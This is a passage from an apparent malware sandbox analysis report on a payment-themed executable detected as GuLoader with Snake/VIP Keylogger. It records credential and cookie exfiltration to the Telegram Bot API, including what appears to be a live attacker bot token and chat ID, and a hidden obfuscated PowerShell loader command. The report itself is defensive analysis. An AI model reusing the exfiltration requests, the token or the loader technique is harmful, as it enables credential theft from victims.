6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49806	149.154.167.220	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:29:21 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:065367%0D%0ADate%20and%20Time:%2017/12/2024%20/%2019:35:34%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20065367%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-16 17:29:21 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 17:29:21 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-16 17:29:21 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49825	149.154.167.220	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:29:29 UTC	344	OUT	POST /bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendDocument?chat_id=5234817354&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f5b7140c899 Host: api.telegram.org Content-Length: 581
2024-12-16 17:29:29 UTC	581	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 35 62 37 31 34 30 63 38 39 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 36 35 33 36 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 36 2f 31 32 2f 32 30 32 34 20 2f 20 31 32 3a 32 38 3a 34 39 0d Data Ascii: --------------------------8dd1f5b7140c899Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:065367Date and Time: 16/12/2024 / 12:28:49
2024-12-16 17:29:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 17:29:29 GMT Content-Type: application/json Content-Length: 526 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-16 17:29:29 UTC	526	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 38 34 39 35 33 31 32 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 7a 69 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 65 6d 6d 61 73 6f 75 74 68 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 32 33 34 38 31 37 33 35 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 41 70 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 53 6f 75 74 68 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 6f 75 74 30 39 38 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 33 37 30 31 36 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b Data Ascii: {"ok":true,"result":{"message_id":319,"from":{"id":7884953123,"is_bot":true,"first_name":"Mazi","username":"emmasouthbot"},"chat":{"id":5234817354,"first_name":"Api","last_name":"South","username":"sout098","type":"private"},"date":1734370169,"document":{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49833	149.154.167.220	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:29:32 UTC	374	OUT	POST /bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendDocument?chat_id=5234817354&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f89892680e0 Host: api.telegram.org Content-Length: 7046 Connection: Keep-Alive
2024-12-16 17:29:32 UTC	7046	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 38 39 38 39 32 36 38 30 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6f 6b 69 65 73 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 43 6f 6f 6b 69 65 73 20 7c 20 6a 6f 6e 65 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 36 35 33 36 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 36 2f 31 32 2f 32 30 32 34 20 2f Data Ascii: --------------------------8dd1f89892680e0Content-Disposition: form-data; name="document"; filename="Cookies_Recovered.txt"Content-Type: application/x-ms-dos-executableCookies \| user \| VIP Recovery PC Name:065367Date and Time: 16/12/2024 /
2024-12-16 17:29:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 17:29:33 GMT Content-Type: application/json Content-Length: 539 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-16 17:29:33 UTC	539	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 38 34 39 35 33 31 32 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 7a 69 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 65 6d 6d 61 73 6f 75 74 68 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 32 33 34 38 31 37 33 35 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 41 70 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 53 6f 75 74 68 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 6f 75 74 30 39 38 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 33 37 30 31 37 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b Data Ascii: {"ok":true,"result":{"message_id":320,"from":{"id":7884953123,"is_bot":true,"first_name":"Mazi","username":"emmasouthbot"},"chat":{"id":5234817354,"first_name":"Api","last_name":"South","username":"sout098","type":"private"},"date":1734370173,"document":{

Target ID:	0
Start time:	12:27:57
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Justificante pago-09453256434687.exe"
Imagebase:	0x400000
File size:	1'106'880 bytes
MD5 hash:	4252CD5753DEF4A484FB3313E1029E66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	12:28:00
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "
Imagebase:	0xd20000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.2067270709.0000000009B22000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	12:28:00
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	12:28:34
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x9a0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2936459320.0000000021B7C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000006.00000002.2936459320.0000000021A71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false